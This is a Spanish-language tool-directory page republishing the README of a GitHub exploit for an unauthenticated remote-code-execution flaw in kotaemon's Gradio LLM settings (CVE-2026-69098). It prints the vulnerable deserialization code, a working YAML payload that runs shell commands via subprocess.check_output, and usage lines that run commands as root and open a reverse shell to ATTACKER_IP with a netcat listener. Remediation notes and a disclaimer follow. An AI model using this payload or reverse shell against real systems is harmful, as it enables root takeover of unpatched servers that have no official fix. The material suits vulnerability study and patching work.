Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-69098_exploit — Exploit de ejecución remota de código no autenticada dirigido a la deserialización insegura de YAML en las comprobaciones de conexión de LLM; admite ejecución arbitraria de comandos y shells inversas a través de la API de Gradio expuesta. | Kitploit
Herramientas/GitHubGitHub/0xdak/cve-2026-69098_exploit
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de Penetración
GitHub0xdak/cve-2026-69098_exploit

CVE-2026-69098_exploit

Exploit de ejecución remota de código no autenticada dirigido a la deserialización insegura de YAML en las comprobaciones de conexión de LLM; admite ejecución arbitraria de comandos y shells inversas a través de la API de Gradio expuesta.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
hace 14 díasAún no revisado

CVE-2026-69098 — ejecución remota de código por deserialización no autenticada en kotaemon

Ejecución remota de código no autenticada en kotaemon (<= 0.12.0) mediante deserialización insegura en la comprobación de conexión de los ajustes de LLM.

El fallo

El controlador Gradio check_connection de los ajustes de LLM de kotaemon (libs/ktem/ktem/llms/ui.py) analiza una spec YAML proporcionada por el atacante y la deserializa de forma insegura:

root@kitploit:~
spec = yaml.load(selected_spec, Loader=YAMLNoDateSafeLoader)   # attacker YAML
info["spec"].update(spec)
llm = deserialize(info["spec"], safe=False)                    # <-- safe=False

theflow.deserialize(..., safe=False) (theflow/utils/modules.py) resuelve la clave __type__ de una spec mediante import_dotted_string sin lista blanca y luego la instancia con kwargs controlados por el atacante:

root@kitploit:~
if isinstance(value, dict) and "__type__" in value:
    cls = import_dotted_string(value["__type__"], safe=False)   # imports ANY dotted path
    params = {k: deserialize(v, safe=False) for k, v in value.items() if k != "__type__"}
    return cls(**params)                                        # instantiates with attacker kwargs

Por lo tanto, una spec cuyo __type__ es subprocess.check_output ejecuta un comando del sistema operativo durante la deserialización (CWE-502).

Dos factores lo convierten en una RCE no autenticada limpia:

  • Sin autenticación — la aplicación Gradio de kotaemon se lanza sin auth=. El "login" solo alterna la visibilidad de las pestañas de la interfaz; todos los controladores de eventos registrados son invocables públicamente. KH_FEATURE_USER_MANAGEMENT no restringe la API HTTP/cola.
  • No se necesita modelo ni clave de API — info["spec"].update(<attacker yaml>) sobrescribe por completo la spec de LLM, por lo que el payload nunca contacta con un proveedor de LLM real.

La imagen oficial de Docker de kotaemon se ejecuta como root, por lo que la RCE se materializa como root. No hay corrección oficial (upstream) al momento de escribir esto.

Payload

La spec YAML entregada:

root@kitploit:~
__type__: unittest.mock.Mock
return_value:
  __type__: subprocess.check_output
  args: [sh, -c, "<cmd>"]
  text: true

deserialize recurre primero en return_value → subprocess.check_output(args=["sh","-c","<cmd>"], text=True) ejecuta el comando. Envolverlo en unittest.mock.Mock absorbe cualquier kwarg restante de la spec base (model/api_key), de modo que la llamada externa nunca falla, y la salida estándar del comando se devuelve en el mensaje Got response: ... del controlador.

Uso

Solo biblioteca estándar (Python 3). El exploit realiza dos llamadas a Gradio: create_llm (registra una entrada LLM con nombre para que llms.info()[name] se resuelva) y luego check_connection (entrega el payload).

root@kitploit:~
# run a command as root; output is returned in the response
python3 exploit.py http://TARGET:7860/ -c id
#   -> ... Got response: uid=0(root) gid=0(root) groups=0(root)

# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://TARGET:7860/ --shell ATTACKER_IP:4444

Si los nombres de los controladores create_llm / check_connection difieren en un objetivo, enuméralos desde GET /config (dependencies[].api_name) y ajústalos.

Afectados

kotaemon <= 0.12.0 (puerto predeterminado 7860). No hay parche oficial (upstream) disponible al momento de escribir esto.

Remediación

  • Llama a deserialize con safe=True y una lista blanca allowed_modules para que ningún __type__ del atacante llegue a import_dotted_string.
  • Coloca kotaemon detrás de una autenticación real / un proxy inverso; nunca expongas su API de Gradio a redes no confiables.
  • No ejecutes kotaemon como root.

Descargo de responsabilidad

Solo para pruebas de seguridad autorizadas y fines educativos. Úsalo únicamente contra sistemas que poseas o para los que tengas permiso explícito de probar.

Descargar herramienta